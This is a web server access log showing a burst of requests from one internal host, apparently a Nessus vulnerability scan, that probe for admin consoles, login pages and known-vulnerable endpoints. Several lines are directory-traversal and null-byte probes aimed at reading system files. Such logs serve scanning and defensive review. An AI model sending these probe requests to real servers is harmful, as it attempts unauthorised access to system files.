[30/Apr/2022:06:30:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /dwr/index.html HTTP/1.1" 196
[30/Apr/2022:06:30:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login.jsp HTTP/1.1" 196
[30/Apr/2022:06:30:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/pub/pki?cmd=serverInfo HTTP/1.1" 196
[30/Apr/2022:06:30:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /something/maybe/ping HTTP/1.1" 196
[30/Apr/2022:06:30:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ofbizsetup/control/checkLogin HTTP/1.1" 196
[30/Apr/2022:06:30:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ordermgr/control/checkLogin HTTP/1.1" 196
[30/Apr/2022:06:30:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /netbasic/websinfo.bas HTTP/1.1" 196
[30/Apr/2022:06:30:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/misc/allfield.jse HTTP/1.1" 196
[30/Apr/2022:06:30:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/misc/test.jse HTTP/1.1" 196
[30/Apr/2022:06:30:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nsn/..%5Cutil/chkvol.bas HTTP/1.1" 196
[30/Apr/2022:06:30:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /perl/samples/lancgi.pl HTTP/1.1" 196
[30/Apr/2022:06:30:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nsn/..%5Cutil/dir.bas HTTP/1.1" 196
[30/Apr/2022:06:30:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /perl/samples/ndslogin.pl HTTP/1.1" 196
[30/Apr/2022:06:30:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nsn/..%5Cutil/glist.bas HTTP/1.1" 196
[30/Apr/2022:06:30:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /perl/samples/volscgi.pl HTTP/1.1" 196
[30/Apr/2022:06:30:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nsn/..%5Cutil/lancard.bas HTTP/1.1" 196
[30/Apr/2022:06:30:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /perl/samples/env.pl HTTP/1.1" 196
[30/Apr/2022:06:30:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nsn/..%5Cutil/set.bas HTTP/1.1" 196
[30/Apr/2022:06:30:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nsn/env.bas HTTP/1.1" 196
[30/Apr/2022:06:30:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nsn/..%5Cutil/userlist.bas HTTP/1.1" 196
[30/Apr/2022:06:30:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nsn/fdir.bas HTTP/1.1" 196
[30/Apr/2022:06:30:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nsn/..%5Cweb/env.bas HTTP/1.1" 196
[30/Apr/2022:06:30:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nsn/..%5Cwebdemo/fdir.bas HTTP/1.1" 196
[30/Apr/2022:06:30:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nps/servlet/portal HTTP/1.1" 196
[30/Apr/2022:06:30:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /IDMProv/jsps/help/Help.jsp HTTP/1.1" 196
[30/Apr/2022:06:30:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /logout HTTP/1.0" 196
[30/Apr/2022:06:30:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /gwadmin-console/login.jsp HTTP/1.1" 196
[30/Apr/2022:06:30:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /examples/jsp/source.jsp?%2e%2e/%2e%2e/%2e%2e/%2e%2e/system/autoexec.ncf HTTP/1.1" 196
[30/Apr/2022:06:30:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /perl/ HTTP/1.1" 196
[30/Apr/2022:06:30:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /help/contents.htm HTTP/1.1" 196
[30/Apr/2022:06:30:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /manual/ag/contents.htm HTTP/1.1" 196
[30/Apr/2022:06:30:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /images HTTP/1.1" 235
[30/Apr/2022:06:30:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /baselining/version HTTP/1.1" 196
[30/Apr/2022:06:30:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nps/servlet/portalservice HTTP/1.1" 196
[30/Apr/2022:06:30:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /qsoap.qap HTTP/1.1" 196
[30/Apr/2022:06:30:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login.php HTTP/1.1" 196
[30/Apr/2022:06:30:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nacos/ HTTP/1.1" 196
[30/Apr/2022:06:30:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET //Help.action HTTP/1.1" 196
[30/Apr/2022:06:30:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /mod_gzip_status HTTP/1.1" 196
[30/Apr/2022:06:30:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /uddipublic/default.aspx HTTP/1.1" 196
[30/Apr/2022:06:30:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /uddi/default.aspx HTTP/1.1" 196
[30/Apr/2022:06:30:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /sabin/SiteAdmin.htm HTTP/1.1" 196
[30/Apr/2022:06:30:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /admin/ HTTP/1.1" 196
[30/Apr/2022:06:30:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /admin/LocalIndex.html HTTP/1.1" 196
[30/Apr/2022:06:30:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scmadmin/ HTTP/1.1" 196
[30/Apr/2022:06:30:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /reporter/client.jsp HTTP/1.1" 196
[30/Apr/2022:06:30:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scmadmin/LocalIndex.html HTTP/1.1" 196
[30/Apr/2022:06:30:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.exp HTTP/1.1" 196
[30/Apr/2022:06:30:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:44 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /core/orionSplashScreen.do HTTP/1.1" 196
[30/Apr/2022:06:30:44 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:44 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login.html HTTP/1.1" 196
[30/Apr/2022:06:30:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /PassTrixMain.cc HTTP/1.1" 196
[30/Apr/2022:06:30:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /LoginPage.do HTTP/1.1" 196
[30/Apr/2022:06:30:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /netflow/html/aboutus.jsp HTTP/1.1" 196
[30/Apr/2022:06:30:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /LoginPage.do HTTP/1.1" 196
[30/Apr/2022:06:30:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /LoginPage.do HTTP/1.1" 196
[30/Apr/2022:06:30:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /servlet/GetProductVersion HTTP/1.1" 196
[30/Apr/2022:06:30:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login.do HTTP/1.1" 196
[30/Apr/2022:06:30:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /help/introduction/release-notes.html HTTP/1.1" 196
[30/Apr/2022:06:30:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /servlet/GetProductVersion HTTP/1.1" 196
[30/Apr/2022:06:30:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /event/index.do HTTP/1.1" 196
[30/Apr/2022:06:30:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /NCMContainer.cc HTTP/1.1" 196
[30/Apr/2022:06:30:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /configurations.do HTTP/1.1" 196
[30/Apr/2022:06:30:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.do HTTP/1.1" 196
[30/Apr/2022:06:30:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /servlet/GetProductVersion HTTP/1.1" 196
[30/Apr/2022:06:30:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /servlet/GetProductVersion HTTP/1.1" 196
[30/Apr/2022:06:30:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /servlet/GetProductVersion HTTP/1.1" 196
[30/Apr/2022:06:30:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /smconf.nsf HTTP/1.1" 196
[30/Apr/2022:06:30:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /smadmr5.nsf HTTP/1.1" 196
[30/Apr/2022:06:30:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /smency.nsf HTTP/1.1" 196
[30/Apr/2022:06:30:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /smftypes.nsf HTTP/1.1" 196
[30/Apr/2022:06:30:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /smsmvlog.nsf HTTP/1.1" 196
[30/Apr/2022:06:30:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /smhelp.nsf HTTP/1.1" 196
[30/Apr/2022:06:30:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /smmsg.nsf HTTP/1.1" 196
[30/Apr/2022:06:30:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /smtime.nsf HTTP/1.1" 196
[30/Apr/2022:06:30:54 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /smquar.nsf HTTP/1.1" 196
[30/Apr/2022:06:30:54 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /stcenter.nsf HTTP/1.1" 196
[30/Apr/2022:06:30:54 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:54 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /Sametime/buildinfo.txt HTTP/1.1" 196
[30/Apr/2022:06:30:54 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /Sametime/domino/html/sametime/buildinfoST75CF1.txt HTTP/1.1" 196
[30/Apr/2022:06:30:54 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:54 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:55 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:55 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:55 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:55 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /HNAP1/ HTTP/1.1" 196
[30/Apr/2022:06:30:55 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /mve/help/en/inventory/am_about.html HTTP/1.1" 196
[30/Apr/2022:06:30:56 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:56 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:56 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /jsonrpc HTTP/1.1" 196
[30/Apr/2022:06:30:56 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /vsapres/web20/core/login.aspx HTTP/1.1" 196
[30/Apr/2022:06:30:57 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:57 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:57 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /mainui/ HTTP/1.1" 196
[30/Apr/2022:06:30:57 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /assets/js/conf/global_config.js HTTP/1.1" 196
[30/Apr/2022:06:30:58 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:58 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:58 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:58 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /./WEB-INF/ HTTP/1.1" 196
[30/Apr/2022:06:30:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:30:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /_mt/mt.cgi HTTP/1.1" 196
[30/Apr/2022:06:31:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:01 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /invoker/EJBInvokerServlet HTTP/1.1" 196
[30/Apr/2022:06:31:01 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /invoker/JMXInvokerServlet HTTP/1.1" 196
[30/Apr/2022:06:31:01 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /web-console/ServerInfo.jsp HTTP/1.1" 196
[30/Apr/2022:06:31:01 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /web-console/ServerInfo.jsp%00 HTTP/1.1" 196
[30/Apr/2022:06:31:01 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:02 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET %. HTTP/1.1" 226
[30/Apr/2022:06:31:02 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:02 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:02 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:02 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /NASApp/nessus/ HTTP/1.1" 196
[30/Apr/2022:06:31:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /NASApp/nessus/ HTTP/1.1" 196
[30/Apr/2022:06:31:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /home.seam HTTP/1.1" 196
[30/Apr/2022:06:31:04 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /interscan/cgi-bin/FtpSave.dll?I'm%20Here HTTP/1.1" 196
[30/Apr/2022:06:31:04 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:04 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "NESSUS / HTTP/1.0" -
[30/Apr/2022:06:31:04 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /status.php3 HTTP/1.1" 196
[30/Apr/2022:06:31:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /imp/status.php3 HTTP/1.1" 196
[30/Apr/2022:06:31:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /horde/imp/status.php3 HTTP/1.1" 196
[30/Apr/2022:06:31:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /iisprotect/admin/SiteAdmin.ASP?V_SiteName=&V_FirstTab=Groups&V_SecondTab=All&GroupName=nessus HTTP/1.1" 196
